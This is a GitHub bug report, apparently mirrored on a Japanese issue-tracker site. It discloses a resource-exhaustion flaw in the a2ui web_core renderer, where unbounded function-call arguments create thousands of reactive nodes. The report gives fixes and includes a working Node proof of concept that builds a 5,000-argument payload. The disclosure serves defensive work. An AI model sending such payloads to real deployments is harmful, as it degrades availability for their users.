a2ui-project / a2ui-project/a2ui

[BUG]: Unbounded `FunctionCall.args` explode the reactive graph before schema stripping

オープン
#2,384 コメント 2 件 リアクション 0 件 担当者 1 名 @Varun-S10 が担当を希望しています GitHub で見る
P2 status: first-line-handled status: needs review type: bug
主要言語
TypeScript
スター
16.4k
フォーク
1.3k
平均マージ
2日 13時間
マージ済み PR(30日)
134

説明

# Unbounded `FunctionCall.args` explode the reactive graph before schema stripping

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)

## Summary

The `FunctionCall` schema types function arguments as `z.record(z.any())` with no count bound, and the data-context resolver iterates the **raw** argument object — before the target function's own Zod schema strips unknown keys — creating one signal, one computed, and one effect per argument. An agent binds a validation condition to `{call: "regex", args: {value:…, pattern:…, j0:…, …, j4999:…}}`; `regex` ignores the junk keys, but the resolver has already built 5,000 reactive nodes for that single condition. Repeated across components this inflates the effect graph (memory and per-change CPU) far beyond what the component count suggests.

## Affected code

- `renderers/web_core/src/v0_9/schema/common-types.ts` — `args: z.record(z.any())` (npm dist `v0_9/schema/common-types.js:25`), no argument-count bound
- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `resolveSignal` iterates `Object.entries(call.args)` raw, i.e. pre-strip, creating a signal + computed + effect per entry (npm dist `v0_9/rendering/data-context.js:146-207`)

## Observed behavior (measured)

Driven through the published package's full pipeline (`MessageProcessor.processMessages` → `ComponentContext` → `GenericBinder` → catalog invoker), one TextField `checks` condition with 5,000 arguments:

| args in binding | bind time | heap growth |
|---|---|---|
| 2 (control) | — | −0.1 MB |
| 5,000 | 117 ms | +5.5 MB |

## Impact

A remote agent can send one spec-valid `updateComponents` message whose single condition carries thousands of arguments; each such binding permanently installs thousands of reactive nodes, scaling memory and every subsequent notification cost by args × components. Availability only.

## Suggested remediation

- Bound the argument count in `FunctionCallSchema` (e.g. reject records with more than N keys).
- Schema-parse (and thereby strip) the arguments **before** `resolveSignal` iterates them, so only keys the target function declares produce reactive nodes.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed in `node_modules` (e.g. `npm i @a2ui/web_core@0.10.6`), script in the same directory. Run `node poc_f20.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f20.mjs — F-20: reactive-graph explosion via unbounded function-call args.
// resolveSignal iterates Object.entries(call.args) and creates a signal +
// computed + effect per arg BEFORE the catalog invoker Zod-parses (strips) args.
// A malicious server binds a checks condition to
// {call:'regex', args:{ value:{path}, pattern:'x', j0:{path}, ... j4999:{path} }}.
// regex's schema ignores the junk, but resolveSignal builds 5000 arg-signals +
// effects for that one condition. Confirmed if heap grows >3 MB and binding
// took >50 ms (vs a 2-arg control).
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';

const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';

async function measure(nArgs) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
// build condition args
const args = { value: { path: '/n' }, pattern: 'x' };
for (let i = 0; i < nArgs; i++) args[`j${i}`] = { path: '/n' };
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 0 } },
{
version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'regex', args }, message: 'bad' }] },
] },
},
]);
const surface = processor.model.getSurface('poc');
const before = process.memoryUsage().heapUsed;
const t0 = Date.now();
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const sub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 100));
const ms = Date.now() - t0;
const after = process.memoryUsage().heapUsed;
sub.unsubscribe(); binder.dispose(); surface.dispose();
return { ms, grewMB: +((after - before) / 1048576).toFixed(1) };
}

const ctrl = await measure(0);
const big = await measure(5000);
const ok = big.grewMB > 3 && big.ms > 50 && big.grewMB > ctrl.grewMB + 3;
console.log(JSON.stringify({
finding: 'F-20-functioncall-args-reactive-explosion',
control_2args: ctrl,
with_5000_args: big,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```

コントリビューションガイド

コントリビューションガイドを開く

調査の方向性

The issue is in `renderers/web_core/src/v0_9/schema/common-types.ts` where `args` is defined as `z.record(z.any())` and `renderers/web_core/src/v0_9/rendering/data-context.ts` where `resolveSignal` iterates `Object.entries(call.args)`. Start by examining these files to understand the schema and the reactive node creation. The fix involves bounding the argument count in the schema and ensuring arguments are stripped before iteration. Run the provided PoC script to verify the memory growth and test any changes.

索引モデルが issue の本文から書いたものです。

評価

技術スタック
node.js, typescript
領域
backend-api-design, performance, security
issue の種類
バグ
難易度
4/5
見積もり時間
3〜5日
活発さ
活発
明瞭さ
明確に書かれている
初心者へのやさしさ
45/100

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。